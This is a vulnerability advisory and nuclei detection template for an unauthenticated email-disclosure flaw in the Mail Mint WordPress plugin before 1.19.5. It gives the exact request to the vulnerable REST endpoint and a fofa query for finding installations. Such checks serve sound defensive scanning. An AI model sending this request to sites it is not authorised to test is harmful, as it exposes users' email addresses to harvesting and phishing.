Mail Mint < 1.19.5 - Unauthenticated Email Disclosure

highseverity

7.5CVSS score

1.7%likelihood of exploitation, next 30 days

77%of all CVEs are less likely

Readycheck to confirm it

Mail Mint WordPress plugin < 1.19.5 contains an information disclosure vulnerability caused by lack of authorization in a REST API endpoint, letting unauthenticated users retrieve email addresses of blog users, exploit requires no authentication.

Impact

Unauthenticated attackers can retrieve email addresses of users, leading to privacy breaches and potential phishing attacks.

Fix

Update to version 1.19.5 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-json/mrm/v1/wp/admins?term=@
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "\"admins\"", "\"label\"", "@")

Run it with nuclei: nuclei -id CVE-2026-2025 -u <target>

The full check

id: CVE-2026-2025

info:
  name: Mail Mint < 1.19.5 - Unauthenticated Email Disclosure
  author: 0x_Akoko
  severity: high
  description: |
    Mail Mint WordPress plugin < 1.19.5 contains an information disclosure vulnerability caused by lack of authorization in a REST API endpoint, letting unauthenticated users retrieve email addresses of blog users, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can retrieve email addresses of users, leading to privacy breaches and potential phishing attacks.
  remediation: |
    Update to version 1.19.5 or later.
  reference:
    - https://wpscan.com/vulnerability/1b815cde-cd9d-46fa-a6ab-3d2851705e7b/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-2025
    - https://wordpress.org/plugins/mail-mint/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-2025
    epss-score: 0.01681
    epss-percentile: 0.77136
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
    vendor: mail-mint
    product: mail-mint
    fofa-query: body="/wp-content/plugins/mail-mint/"
  tags: cve,cve2026,wordpress,wp-plugin,mail-mint,exposure,unauth,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/mrm/v1/wp/admins?term=@"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"admins\"", "\"label\"", "@")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from